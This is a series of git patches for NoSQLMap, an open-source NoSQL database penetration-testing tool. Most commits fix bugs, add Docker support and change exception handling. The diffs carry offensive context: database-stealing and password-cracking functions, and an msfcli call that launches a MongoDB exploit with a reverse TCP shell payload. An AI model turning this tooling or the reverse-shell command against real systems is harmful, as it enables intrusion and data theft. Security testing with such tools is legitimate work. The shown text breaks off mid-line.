From d521e671f712d884fa8b3b592b592cba3eaf877f Mon Sep 17 00:00:00 2001 From: Steve Campbell Date: Thu, 7 Feb 2019 16:08:31 -0500 Subject: [PATCH 01/25] Added Docker files. --- docker/Dockerfile | 15 +++++++++++++++ docker/entrypoint.sh | 2 ++ 2 files changed, 17 insertions(+) create mode 100644 docker/Dockerfile create mode 100644 docker/entrypoint.sh diff --git a/docker/Dockerfile b/docker/Dockerfile new file mode 100644 index 0000000..3882f3d --- /dev/null +++ b/docker/Dockerfile @@ -0,0 +1,15 @@ +FROM ubuntu:latest + +RUN apt-get update && apt-get install -y python python-pip git mongodb + +RUN git clone https://github.com/codingo/NoSQLMap.git /root/NoSqlMap + +WORKDIR /root/NoSqlMap + +RUN python setup.py install + +COPY entrypoint.sh /tmp/entrypoint.sh + +RUN chmod +x /tmp/entrypoint.sh + +ENTRYPOINT ["/tmp/entrypoint.sh"] diff --git a/docker/entrypoint.sh b/docker/entrypoint.sh new file mode 100644 index 0000000..f424d72 --- /dev/null +++ b/docker/entrypoint.sh @@ -0,0 +1,2 @@ +#!/bin/bash +exec python nosqlmap.py From 69c7e7cd4414fc94a16c57b624c186d96b8ccbfe Mon Sep 17 00:00:00 2001 From: Steve Campbell Date: Thu, 7 Feb 2019 16:14:17 -0500 Subject: [PATCH 02/25] Updated README for Docker --- README.md | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index c3c5174..82e79d2 100644 --- a/README.md +++ b/README.md @@ -39,7 +39,10 @@ There are some various other libraries required that a normal Python installatio ``` python setup.py install ``` - +Alternatively you can build a Docker image by changing to the docker directory and entering: +``` +docker build -t nosqlmap . +``` ## Usage Instructions Start with ``` From 9a792221dc112d1069d94ac9c4c175811538d12c Mon Sep 17 00:00:00 2001 From: alexdetrano Date: Mon, 6 May 2019 14:12:01 -0400 Subject: [PATCH 03/25] fixed injectSize type error for Post attacks --- nsmweb.py | 1 + 1 file changed, 1 insertion(+) diff --git a/nsmweb.py b/nsmweb.py index 554f699..e2fcc77 100644 --- a/nsmweb.py +++ b/nsmweb.py @@ -483,6 +483,7 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders, args = None) injectSize = int(args.injectSize) format = args.injectFormat + injectSize = int(injectSize) injectString = build_random_string(format, injectSize) print "Using " + injectString + " for injection testing.\n" From de427caa8c93d2512e3dcd99b3771adc48e3ed30 Mon Sep 17 00:00:00 2001 From: alexdetrano Date: Mon, 6 May 2019 14:24:24 -0400 Subject: [PATCH 04/25] remove trailing newlines and carriage return from parsed burp file --- nosqlmap.py | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/nosqlmap.py b/nosqlmap.py index 4d1b733..8af85f0 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -473,9 +473,11 @@ def options(): header = line.split(": "); requestHeaders[header[0]] = header[1].strip() - victim = reqData[1].split( " ")[1].replace("\r\n","") + victim = reqData[1].split( " ")[1].replace("\r","") + victim = victim.replace("\n","") optionSet[0] = True - uri = methodPath[1].replace("\r\n","") + uri = methodPath[1].replace("\r","") + uri = uri.replace("\n","") optionSet[2] = True elif select == "b": From a86d2309ee997803d847d57318c718cc2b74269d Mon Sep 17 00:00:00 2001 From: alexdetrano Date: Mon, 6 May 2019 15:14:21 -0400 Subject: [PATCH 05/25] remove ALL trailing newlines/CRs as soon as possible from parsed file. Also use 'with' to open files, to ensure file is automatically closed --- nosqlmap.py | 96 +++++++++++++++++++++++++++-------------------------- 1 file changed, 49 insertions(+), 47 deletions(-) diff --git a/nosqlmap.py b/nosqlmap.py index 8af85f0..1ae2e63 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -400,46 +400,51 @@ def options(): elif select == "0": loadPath = raw_input("Enter file name to load: ") + cvsOpt = [] try: - fo = open(loadPath,"r" ) - csvOpt = fo.readlines() - fo.close() - optList = csvOpt[0].split(",") - victim = optList[0] - webPort = optList[1] - uri = optList[2] - httpMethod = optList[3] - myIP = optList[4] - myPort = optList[5] - verb = optList[6] - https = optList[7] + with open(loadPath,"r") as fo: + for line in fo: + cvsOpt.append(line.rstrip()) + except IOError as e: + print "I/O error({0}): {1}".format(e.errno, e.strerror) + raw_input("error reading file. Press enter to continue...") + return + + optList = csvOpt[0].split(",") + victim = optList[0] + webPort = optList[1] + uri = optList[2] + httpMethod = optList[3] + myIP = optList[4] + myPort = optList[5] + verb = optList[6] + https = optList[7] + + # saved headers position will depend of the request verb + headersPos= 1 + + if httpMethod == "POST": + postData = ast.literal_eval(csvOpt[1]) + headersPos = 2 - # saved headers position will depend of the request verb - headersPos= 1 - - if httpMethod == "POST": - postData = ast.literal_eval(csvOpt[1]) - headersPos = 2 - - requestHeaders = ast.literal_eval(csvOpt[headersPos]) - - # Set option checking array based on what was loaded - x = 0 - for item in optList: - if item != "Not Set": - optionSet[x] = True - x += 1 - except: - print "Couldn't load options file!" + requestHeaders = ast.literal_eval(csvOpt[headersPos]) + + # Set option checking array based on what was loaded + x = 0 + for item in optList: + if item != "Not Set": + optionSet[x] = True + x += 1 elif select == "a": loadPath = raw_input("Enter path to Burp request file: ") - + reqData = [] try: - fo = open(loadPath,"r") - reqData = fo.readlines() - - except: + with open(loadPath,"r") as fo: + for line in fo: + reqData.append(line.rstrip()) + except IOError as e: + print "I/O error({0}): {1}".format(e.errno, e.strerror) raw_input("error reading file. Press enter to continue...") return @@ -473,25 +478,22 @@ def options(): header = line.split(": "); requestHeaders[header[0]] = header[1].strip() - victim = reqData[1].split( " ")[1].replace("\r","") - victim = victim.replace("\n","") + victim = reqData[1].split( " ")[1] optionSet[0] = True - uri = methodPath[1].replace("\r","") - uri = uri.replace("\n","") + uri = methodPath[1] optionSet[2] = True elif select == "b": savePath = raw_input("Enter file name to save: ") try: - fo = open(savePath, "wb") - fo.write(str(victim) + "," + str(webPort) + "," + str(uri) + "," + str(httpMethod) + "," + str(myIP) + "," + str(myPort) + "," + verb + "," + https) - - if httpMethod == "POST": - fo.write(",\n"+ str(postData)) - fo.write(",\n" + str(requestHeaders) ) - fo.close() - print "Options file saved!" - except: + with open(savePath, "wb") as fo: + fo.write(str(victim) + "," + str(webPort) + "," + str(uri) + "," + str(httpMethod) + "," + str(myIP) + "," + str(myPort) + "," + verb + "," + https) + + if httpMethod == "POST": + fo.write(",\n"+ str(postData)) + fo.write(",\n" + str(requestHeaders) ) + print "Options file saved!" + except IOError: print "Couldn't save options file." elif select == "h": From 77a91f9e03f569db469549ee196dc95664c3ddb9 Mon Sep 17 00:00:00 2001 From: kaixiang ren Date: Sun, 26 May 2019 18:09:29 +1000 Subject: [PATCH 06/25] fixed bug postData undefined related issue #83, #84 --- nosqlmap.py | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/nosqlmap.py b/nosqlmap.py index 1ae2e63..33e78d2 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -137,7 +137,7 @@ def build_post_data(postDataIn): return postData def attack(args): - platform = args.platform + platform = args.platform victim = args.victim webPort = args.webPort dbPort = args.dbPort @@ -149,7 +149,7 @@ def attack(args): httpMethod = args.httpMethod requestHeaders = build_request_headers(args.requestHeaders) postData = build_post_data(args.postData) - + if args.attack == 1: if platform == "MongoDB": nsmmongo.netAttacks(victim, dbPort, myIP, myPort, args) @@ -337,7 +337,7 @@ def options(): print "POST request set" optionSet[3] = True postDataIn = raw_input("Enter POST data in a comma separated list (i.e. param name 1,value1,param name 2,value2)\n") - build_post_data(postDataIn) + postData = build_post_data(postDataIn) httpMethod = "POST" else: @@ -419,14 +419,14 @@ def options(): myPort = optList[5] verb = optList[6] https = optList[7] - + # saved headers position will depend of the request verb headersPos= 1 if httpMethod == "POST": postData = ast.literal_eval(csvOpt[1]) headersPos = 2 - + requestHeaders = ast.literal_eval(csvOpt[headersPos]) # Set option checking array based on what was loaded @@ -512,7 +512,7 @@ def build_parser(): parser.add_argument("--myIP",help="Set my local platform/Shell IP") parser.add_argument("--myPort",help="Set my local platform/Shell port", type=int) parser.add_argument("--webPort", help="Set web app port ([1 - 65535])", type=int) - parser.add_argument("--uri", help="Set App Path. For example '/a-path/'. Final URI will be [https option]://[victim option]:[webPort option]/[uri option]") + parser.add_argument("--uri", help="Set App Path. For example '/a-path/'. Final URI will be [https option]://[victim option]:[webPort option]/[uri option]") parser.add_argument("--httpMethod", help="Set HTTP Request Method", choices=["GET","POST"], default="GET") parser.add_argument("--https", help="Toggle HTTPS", choices=["ON", "OFF"], default="OFF") parser.add_argument("--verb", help="Toggle Verbose Mode", choices=["ON", "OFF"], default="OFF") @@ -524,7 +524,7 @@ def build_parser(): group = parser.add_argument_group(module.__name__) for arg in module.args(): group.add_argument(arg[0], help=arg[1]) - + return parser def signal_handler(signal, frame): From 3c7895ded3eefc3396c7db12063e1994ae4b8fab Mon Sep 17 00:00:00 2001 From: Gabriel Barbosa <37980500+gabu-b@users.noreply.github.com> Date: Wed, 29 May 2019 17:38:14 -0300 Subject: [PATCH 07/25] Update Set App Path Module to Accept Null Values --- nosqlmap.py | 11 ++++++++--- 1 file changed, 8 insertions(+), 3 deletions(-) diff --git a/nosqlmap.py b/nosqlmap.py index 33e78d2..9ddd8bb 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -296,10 +296,15 @@ def options(): elif select == "3": uri = raw_input("Enter URI Path (Press enter for no URI): ") - #Ensuring the URI path always starts with / and causes less errors - if uri[0] != "/": + #Ensuring the URI path always starts with / and accepts null values + if len(uri) == 0: + uri = "Not Set" + print "\nURI Not Set." "\n" + optionSet[2] = False + + elif uri[0] != "/": uri = "/" + uri - print "\nURI Path set to " + uri + "\n" + print "\nURI Path set to " + uri + "\n" optionSet[2] = True elif select == "4": From 73a45349e4ab593fb7b7808d066ee77ce88c87da Mon Sep 17 00:00:00 2001 From: Michael Skelton <886344+codingo@users.noreply.github.com> Date: Mon, 8 Jul 2019 17:34:47 +1000 Subject: [PATCH 08/25] Create FUNDING.yml --- .github/FUNDING.yml | 12 ++++++++++++ 1 file changed, 12 insertions(+) create mode 100644 .github/FUNDING.yml diff --git a/.github/FUNDING.yml b/.github/FUNDING.yml new file mode 100644 index 0000000..33a48a1 --- /dev/null +++ b/.github/FUNDING.yml @@ -0,0 +1,12 @@ +# These are supported funding model platforms + +github: # Replace with up to 4 GitHub Sponsors-enabled usernames e.g., [user1, user2] +patreon: # Replace with a single Patreon username +open_collective: # Replace with a single Open Collective username +ko_fi: # Replace with a single Ko-fi username +tidelift: # Replace with a single Tidelift platform-name/package-name e.g., npm/babel +community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry +liberapay: # Replace with a single Liberapay username +issuehunt: # Replace with a single IssueHunt username +otechie: # Replace with a single Otechie username +custom: PayPal.Me/codingo From 1ccd177b3e0be4aba1cb547b9d4cfd803f8d0f08 Mon Sep 17 00:00:00 2001 From: Michael Skelton <886344+codingo@users.noreply.github.com> Date: Tue, 9 Jul 2019 12:50:36 +1000 Subject: [PATCH 09/25] Update setup.py --- setup.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/setup.py b/setup.py index 27de04e..aab887a 100644 --- a/setup.py +++ b/setup.py @@ -16,7 +16,7 @@ install_requires = [ "CouchDB==1.0", "httplib2==0.9", "ipcalc==1.1.3",\ "NoSQLMap==0.7", "pbkdf2==1.3", "pymongo==2.7.2",\ - "requests==2.5.0"], + "requests==2.20.0"], author = "tcstool", author_email = "codingo@protonmail.com", From 049de70ab3478a2530778062586f27e9ae873f49 Mon Sep 17 00:00:00 2001 From: Anton Bolshakov Date: Tue, 13 Aug 2019 11:01:19 +0800 Subject: [PATCH 10/25] nosqlmap.py: invalid header "coding" should come in the second line, see: https://www.python.org/dev/peps/pep-0263/ --- nosqlmap.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nosqlmap.py b/nosqlmap.py index 9ddd8bb..c0db07d 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -1,5 +1,5 @@ -# -*- coding: utf-8 -*- #!/usr/bin/python +# -*- coding: utf-8 -*- # NoSQLMap Copyright 2012-2017 NoSQLMap Development team # See the file 'doc/COPYING' for copying permission From a86e08b48a550ccacb8effa6c400af780c821832 Mon Sep 17 00:00:00 2001 From: August Date: Wed, 6 Nov 2019 17:54:08 -0800 Subject: [PATCH 11/25] Set request headers Fixes #88 --- nosqlmap.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nosqlmap.py b/nosqlmap.py index c0db07d..6640c0b 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -503,7 +503,7 @@ def options(): elif select == "h": reqHeadersIn = raw_input("Enter HTTP Request Header data in a comma separated list (i.e. header name 1,value1,header name 2,value2)\n") - build_request_headers(reqHeadersIn) + requestHeaders = build_request_headers(reqHeadersIn) elif select == "x": return From 4ebd59a536930e53a0e07215123ed570c42fcd80 Mon Sep 17 00:00:00 2001 From: Kevin Date: Fri, 8 Nov 2019 01:18:32 +0200 Subject: [PATCH 12/25] Fixed loading options from file --- nosqlmap.py | 4 ++-- saved_options.txt | 3 +++ 2 files changed, 5 insertions(+), 2 deletions(-) create mode 100644 saved_options.txt diff --git a/nosqlmap.py b/nosqlmap.py index c0db07d..af22e55 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -405,11 +405,11 @@ def options(): elif select == "0": loadPath = raw_input("Enter file name to load: ") - cvsOpt = [] + csvOpt = [] try: with open(loadPath,"r") as fo: for line in fo: - cvsOpt.append(line.rstrip()) + csvOpt.append(line.rstrip()) except IOError as e: print "I/O error({0}): {1}".format(e.errno, e.strerror) raw_input("error reading file. Press enter to continue...") diff --git a/saved_options.txt b/saved_options.txt new file mode 100644 index 0000000..ced64ac --- /dev/null +++ b/saved_options.txt @@ -0,0 +1,3 @@ +10.11.1.237,443,/cgi-bin/mongo/2.2.3/dbparse.py,POST,Not Set,Not Set,OFF,ON, +{'CompanyName': 'test'}, +{} \ No newline at end of file From 9ba34ece84db12230d1b371ebd507013052f33cd Mon Sep 17 00:00:00 2001 From: Kevin Schmidt Date: Fri, 8 Nov 2019 01:27:43 +0200 Subject: [PATCH 13/25] Delete saved_options.txt --- saved_options.txt | 3 --- 1 file changed, 3 deletions(-) delete mode 100644 saved_options.txt diff --git a/saved_options.txt b/saved_options.txt deleted file mode 100644 index ced64ac..0000000 --- a/saved_options.txt +++ /dev/null @@ -1,3 +0,0 @@ -10.11.1.237,443,/cgi-bin/mongo/2.2.3/dbparse.py,POST,Not Set,Not Set,OFF,ON, -{'CompanyName': 'test'}, -{} \ No newline at end of file From 04758345da18dce7d9db4f843fbee6d4ec19c467 Mon Sep 17 00:00:00 2001 From: Hubert Dryja Date: Wed, 22 Jan 2020 10:21:27 +0100 Subject: [PATCH 14/25] added docker-compose, switched from ubuntu to alpine, entrypoint working --- docker/Dockerfile | 7 ++++--- docker/docker-compose.yml | 6 ++++++ docker/entrypoint.sh | 4 ++-- 3 files changed, 12 insertions(+), 5 deletions(-) create mode 100644 docker/docker-compose.yml diff --git a/docker/Dockerfile b/docker/Dockerfile index 3882f3d..511d0a8 100644 --- a/docker/Dockerfile +++ b/docker/Dockerfile @@ -1,6 +1,8 @@ -FROM ubuntu:latest +FROM python:2.7-alpine -RUN apt-get update && apt-get install -y python python-pip git mongodb +RUN echo 'http://dl-cdn.alpinelinux.org/alpine/v3.9/main' >> /etc/apk/repositories +RUN echo 'http://dl-cdn.alpinelinux.org/alpine/v3.9/community' >> /etc/apk/repositories +RUN apk update && apk add mongodb git RUN git clone https://github.com/codingo/NoSQLMap.git /root/NoSqlMap @@ -9,7 +11,6 @@ WORKDIR /root/NoSqlMap RUN python setup.py install COPY entrypoint.sh /tmp/entrypoint.sh - RUN chmod +x /tmp/entrypoint.sh ENTRYPOINT ["/tmp/entrypoint.sh"] diff --git a/docker/docker-compose.yml b/docker/docker-compose.yml new file mode 100644 index 0000000..dc505f6 --- /dev/null +++ b/docker/docker-compose.yml @@ -0,0 +1,6 @@ +version: "3" +services: + nosqlmap: + image: nosqlmap:latest + build: + context: . diff --git a/docker/entrypoint.sh b/docker/entrypoint.sh index f424d72..eb9b8b4 100644 --- a/docker/entrypoint.sh +++ b/docker/entrypoint.sh @@ -1,2 +1,2 @@ -#!/bin/bash -exec python nosqlmap.py +#!/bin/ash +python nosqlmap.py From 6a9acf44005e223cd843f69f84cca7f4ae044728 Mon Sep 17 00:00:00 2001 From: Hubert Dryja Date: Wed, 22 Jan 2020 10:25:08 +0100 Subject: [PATCH 15/25] readme updated --- README.md | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/README.md b/README.md index 82e79d2..6841632 100644 --- a/README.md +++ b/README.md @@ -43,6 +43,12 @@ Alternatively you can build a Docker image by changing to the docker directory a ``` docker build -t nosqlmap . ``` + +or you can use Docker-compose to run Nosqlmap: +``` +docker-compose build +docker-compose run nosqlmap +``` ## Usage Instructions Start with ``` From e0bf5a45cb007d7cb82f4a0d67851964718031df Mon Sep 17 00:00:00 2001 From: Ben Date: Wed, 8 Apr 2020 18:41:10 -0400 Subject: [PATCH 16/25] Added base exception class NoSQLMapException inside exception.py. --- exception.py | 6 ++++++ nosqlmap.py | 3 ++- nsmcouch.py | 21 +++++++++++---------- nsmmongo.py | 29 +++++++++++++++-------------- nsmscan.py | 7 ++++--- nsmweb.py | 11 ++++++----- 6 files changed, 44 insertions(+), 33 deletions(-) create mode 100644 exception.py diff --git a/exception.py b/exception.py new file mode 100644 index 0000000..72659c8 --- /dev/null +++ b/exception.py @@ -0,0 +1,6 @@ +#!/usr/bin/python +# NoSQLMap Copyright 2012-2017 NoSQLMap Development team +# See the file 'doc/COPYING' for copying permission + +class NoSQLMapException(Exception): + pass diff --git a/nosqlmap.py b/nosqlmap.py index 0f70ab4..1aac75d 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -3,6 +3,7 @@ # NoSQLMap Copyright 2012-2017 NoSQLMap Development team # See the file 'doc/COPYING' for copying permission +from exception import NoSQLMapException import sys import nsmcouch import nsmmongo @@ -279,7 +280,7 @@ def options(): print "Bad octet in IP address." goodDigits = False - except: + except NoSQLMapException("[!] Must be a DNS name."): #Must be a DNS name (for now) notDNS = False diff --git a/nsmcouch.py b/nsmcouch.py index f2d344b..33bbe62 100644 --- a/nsmcouch.py +++ b/nsmcouch.py @@ -2,6 +2,7 @@ # NoSQLMap Copyright 2012-2017 NoSQLMap Development team # See the file 'doc/COPYING' for copying permission +from exception import NoSQLMapException import couchdb import urllib import requests @@ -39,10 +40,10 @@ def couchScan(target,port,pingIt): except couchdb.http.Unauthorized: return [1,None] - except: + except NoSQLMapException: return [2,None] - except: + except NoSQLMapException: return [3,None] else: @@ -59,10 +60,10 @@ def couchScan(target,port,pingIt): except couchdb.http.Unauthorized: return [1,None] - except: + except NoSQLMapException: return [2,None] - except: + except NoSQLMapException: return [3,None] def netAttacks(target,port, myIP, args = None): @@ -92,7 +93,7 @@ def netAttacks(target,port, myIP, args = None): print "CouchDB authenticated on " + target + ":" + str(port) mgtOpen = True - except: + except NoSQLMapException: raw_input("Failed to authenticate. Press enter to continue...") return @@ -113,7 +114,7 @@ def netAttacks(target,port, myIP, args = None): if mgtRespCode == 200: print "Sofa web management open at " + mgtUrl + ". No authentication required!" - except: + except NoSQLMapException: print "Sofa web management closed or requires authentication." if mgtOpen == True: @@ -152,7 +153,7 @@ def getPlatInfo(couchConn, target): return -def enumAtt(conn,target): +def enumAtt(conn, target, port): dbList = [] print "Enumerating all attachments..." @@ -179,7 +180,7 @@ def enumDbs (couchConn,target,port): print "\n".join(dbList) print "\n" - except: + except NoSQLMapException: print "Error: Couldn't list databases. The provided credentials may not have rights." if '_users' in dbList: @@ -253,7 +254,7 @@ def stealDBs (myDB,couchConn,target,port): else: return - except: + except NoSQLMapException: raw_input ("Something went wrong. Are you sure your CouchDB is running and options are set? Press enter to return...") return @@ -343,7 +344,7 @@ def dict_pass(key,salt,dbVer): passList = f.readlines() loadCheck = True - except: + except NoSQLMapException: print " Couldn't load file." print "Running dictionary attack..." diff --git a/nsmmongo.py b/nsmmongo.py index ee61e02..996668a 100644 --- a/nsmmongo.py +++ b/nsmmongo.py @@ -2,6 +2,7 @@ # NoSQLMap Copyright 2012-2017 NoSQLMap Development team # See the file 'doc/COPYING' for copying permission +from exception import NoSQLMapException import pymongo import urllib import json @@ -49,7 +50,7 @@ def netAttacks(target, dbPort, myIP, myPort, args = None): conn = pymongo.MongoClient(target) print "MongoDB authenticated on " + target + ":27017!" mgtOpen = True - except: + except NoSQLMapException: raw_input("Failed to authenticate. Press enter to continue...") return @@ -91,7 +92,7 @@ def netAttacks(target, dbPort, myIP, myPort, args = None): print "REST interface not enabled." print "\n" - except Exception, e: + except NoSQLMapException: print "MongoDB web management closed or requires authentication." if mgtOpen == True: @@ -180,7 +181,7 @@ def stealDBs(myDB,victim,mongoConn): else: return - except Exception, e: + except NoSQLMapException, e: if str(e).find('text search not enabled') != -1: raw_input("Database copied, but text indexing was not enabled on the target. Indexes not moved. Press enter to return...") return @@ -231,7 +232,7 @@ def dict_pass(user,key): with open (dictionary) as f: passList = f.readlines() loadCheck = True - except: + except NoSQLMapException: print " Couldn't load file." print "Running dictionary attack..." @@ -303,7 +304,7 @@ def enumDbs (mongoConn): print "\n".join(mongoConn.database_names()) print "\n" - except: + except NoSQLMapException: print "Error: Couldn't list databases. The provided credentials may not have rights." print "List of collections:" @@ -328,7 +329,7 @@ def enumDbs (mongoConn): if crack in yes_tag: passCrack(users[x]['user'],users[x]['pwd']) - except Exception, e: + except NoSQLMapException, e: print e print "Error: Couldn't list collections. The provided credentials may not have rights." @@ -336,11 +337,11 @@ def enumDbs (mongoConn): return -def msfLaunch(): +def msfLaunch(victim, myIP, myPort): try: proc = subprocess.call(["msfcli", "exploit/linux/misc/mongod_native_helper", "RHOST=%s" % victim, "DB=local", "PAYLOAD=linux/x86/shell/reverse_tcp", "LHOST=%s" % myIP, "LPORT=%s" % myPort, "E"]) - except: + except NoSQLMapException: print "Something went wrong. Make sure Metasploit is installed and path is set, and all options are defined." raw_input("Press enter to continue...") return @@ -357,10 +358,10 @@ def enumGrid (mongoConn): print " list of files:" print "\n".join(files) - except: + except NoSQLMapException: print "GridFS not enabled on " + str(dbItem) + "." - except: + except NoSQLMapException: print "Error: Couldn't enumerate GridFS. The provided credentials may not have rights." return @@ -381,7 +382,7 @@ def mongoScan(ip,port,pingIt): conn.close() return [0,dbVer] - except: + except NoSQLMapException: if str(sys.exc_info()).find('need to login') != -1: conn.close() return [1,None] @@ -390,7 +391,7 @@ def mongoScan(ip,port,pingIt): conn.close() return [2,None] - except: + except NoSQLMapException: return [3,None] else: @@ -405,7 +406,7 @@ def mongoScan(ip,port,pingIt): conn.close() return [0,dbVer] - except Exception, e: + except NoSQLMapException, e: if str(e).find('need to login') != -1: conn.close() return [1,None] @@ -414,5 +415,5 @@ def mongoScan(ip,port,pingIt): conn.close() return [2,None] - except: + except NoSQLMapException: return [3,None] diff --git a/nsmscan.py b/nsmscan.py index 06cb044..b292aad 100644 --- a/nsmscan.py +++ b/nsmscan.py @@ -3,6 +3,7 @@ # See the file 'doc/COPYING' for copying permission +from exception import NoSQLMapException import ipcalc import nsmmongo import nsmcouch @@ -41,7 +42,7 @@ def massScan(platform, args = None): for ip in ipcalc.Network(subnet): ipList.append(str(ip)) optCheck = False - except: + except NoSQLMapException: raw_input("Not a valid subnet. Press enter to return to main menu.") return @@ -54,7 +55,7 @@ def massScan(platform, args = None): ipList = f.readlines() loadCheck = True optCheck = False - except: + except NoSQLMapException: print "Couldn't open file." if loadOpt == "3": @@ -119,7 +120,7 @@ def massScan(platform, args = None): print "Scan results saved!" select = False - except: + except NoSQLMapException: print "Couldn't save scan results." elif saveEm in no_tag: diff --git a/nsmweb.py b/nsmweb.py index e2fcc77..0b5a8f9 100644 --- a/nsmweb.py +++ b/nsmweb.py @@ -3,6 +3,7 @@ # See the file 'doc/COPYING' for copying permission +from exception import NoSQLMapException import urllib import urllib2 import string @@ -106,7 +107,7 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders, args = None): else: print "Got " + str(appRespCode) + "from the app, check your options." - except Exception,e: + except NoSQLMapException,e: print e print "Looks like the server didn't respond. Check your options." @@ -445,7 +446,7 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders, args = None) else: print "Got " + str(appRespCode) + "from the app, check your options." - except Exception,e: + except NoSQLMapException,e: print e print "Looks like the server didn't respond. Check your options." @@ -464,7 +465,7 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders, args = None) injIndex = int(args.injectedParameter) injOpt = str(postData.keys()[int(injIndex)-1]) print "Injecting the " + injOpt + " parameter..." - except: + except NoSQLMapException: if args == None: raw_input("Something went wrong. Press enter to return to the main menu...") return @@ -909,7 +910,7 @@ def buildUri(origUri, randValue, args=None): split_uri = origUri.split("?") params = split_uri[1].split("&") - except: + except NoSQLMapException: raw_input("Not able to parse the URL and parameters. Check options settings. Press enter to return to main menu...") return @@ -938,7 +939,7 @@ def buildUri(origUri, randValue, args=None): for params in injOpt: print "Injecting the " + params + " parameter..." - except Exception: + except NoSQLMapException: raw_input("Something went wrong. Press enter to return to the main menu...") return From 24370604af4f863a006291541f890cf3ab08a1e1 Mon Sep 17 00:00:00 2001 From: Michael Skelton Date: Fri, 10 Apr 2020 08:27:55 +1000 Subject: [PATCH 17/25] Create stale.yml --- .github/workflows/stale.yml | 19 +++++++++++++++++++ 1 file changed, 19 insertions(+) create mode 100644 .github/workflows/stale.yml diff --git a/.github/workflows/stale.yml b/.github/workflows/stale.yml new file mode 100644 index 0000000..7bbc050 --- /dev/null +++ b/.github/workflows/stale.yml @@ -0,0 +1,19 @@ +name: Mark stale issues and pull requests + +on: + schedule: + - cron: "0 0 * * *" + +jobs: + stale: + + runs-on: ubuntu-latest + + steps: + - uses: actions/stale@v1 + with: + repo-token: ${{ secrets.GITHUB_TOKEN }} + stale-issue-message: 'Stale issue message' + stale-pr-message: 'Stale pull request message' + stale-issue-label: 'no-issue-activity' + stale-pr-label: 'no-pr-activity' From a7cba24a58ca2d239fc8d63cf4133f1c3007c3a0 Mon Sep 17 00:00:00 2001 From: Kert Ojasoo Date: Wed, 15 Apr 2020 13:24:20 +0300 Subject: [PATCH 18/25] Added exception.py to setuptools script --- setup.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/setup.py b/setup.py index aab887a..a5c3613 100644 --- a/setup.py +++ b/setup.py @@ -6,7 +6,7 @@ name = "NoSQLMap", version = "0.7", packages = find_packages(), - scripts = ['nosqlmap.py', 'nsmmongo.py', 'nsmcouch.py','nsmscan.py','nsmweb.py'], + scripts = ['nosqlmap.py', 'nsmmongo.py', 'nsmcouch.py', 'nsmscan.py', 'nsmweb.py', 'exception.py'], entry_points = { "console_scripts": [ From 693b85d5a6c8b45de7d4f277365fcef3853bd52e Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Mon, 8 Feb 2021 20:16:09 +0000 Subject: [PATCH 19/25] Bump httplib2 from 0.9 to 0.19.0 Bumps [httplib2](https://github.com/httplib2/httplib2) from 0.9 to 0.19.0. - [Release notes](https://github.com/httplib2/httplib2/releases) - [Changelog](https://github.com/httplib2/httplib2/blob/master/CHANGELOG) - [Commits](https://github.com/httplib2/httplib2/compare/0.9...v0.19.0) Signed-off-by: dependabot[bot] --- setup.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/setup.py b/setup.py index a5c3613..b3503f3 100644 --- a/setup.py +++ b/setup.py @@ -14,7 +14,7 @@ ] }, - install_requires = [ "CouchDB==1.0", "httplib2==0.9", "ipcalc==1.1.3",\ + install_requires = [ "CouchDB==1.0", "httplib2==0.19.0", "ipcalc==1.1.3",\ "NoSQLMap==0.7", "pbkdf2==1.3", "pymongo==2.7.2",\ "requests==2.20.0"], From a32e49c042748e9d5d27c3ab36de1512e28ee527 Mon Sep 17 00:00:00 2001 From: Harry Crawford Date: Fri, 7 Oct 2022 18:25:07 +0200 Subject: [PATCH 20/25] Dockerized the included vulnerable application to make running on the local machine easier. Also updated the README.md file to provide instructions on use. --- README.md | 57 +++++++++++++++++------- vuln_apps/acct.php | 39 ---------------- vuln_apps/cust.html | 21 --------- vuln_apps/docker-compose.yml | 27 +++++++++++ vuln_apps/docker/apache/Dockerfile | 6 +++ vuln_apps/docker/apache/apache.conf | 16 +++++++ vuln_apps/docker/mongo/Dockerfile | 5 +++ vuln_apps/docker/mongo/import.sh | 2 + vuln_apps/{ => docker/mongo}/mongo.nosql | 2 - vuln_apps/docker/php/Dockerfile | 13 ++++++ vuln_apps/orderdata.php | 51 --------------------- vuln_apps/src/acct.php | 42 +++++++++++++++++ vuln_apps/src/index.html | 17 +++++++ vuln_apps/src/orderdata.php | 49 ++++++++++++++++++++ vuln_apps/{ => src}/populate_db.php | 2 +- vuln_apps/src/userdata.php | 48 ++++++++++++++++++++ vuln_apps/userdata.php | 50 --------------------- 17 files changed, 266 insertions(+), 181 deletions(-) delete mode 100644 vuln_apps/acct.php delete mode 100644 vuln_apps/cust.html create mode 100644 vuln_apps/docker-compose.yml create mode 100644 vuln_apps/docker/apache/Dockerfile create mode 100644 vuln_apps/docker/apache/apache.conf create mode 100644 vuln_apps/docker/mongo/Dockerfile create mode 100644 vuln_apps/docker/mongo/import.sh rename vuln_apps/{ => docker/mongo}/mongo.nosql (99%) create mode 100644 vuln_apps/docker/php/Dockerfile delete mode 100644 vuln_apps/orderdata.php create mode 100644 vuln_apps/src/acct.php create mode 100644 vuln_apps/src/index.html create mode 100644 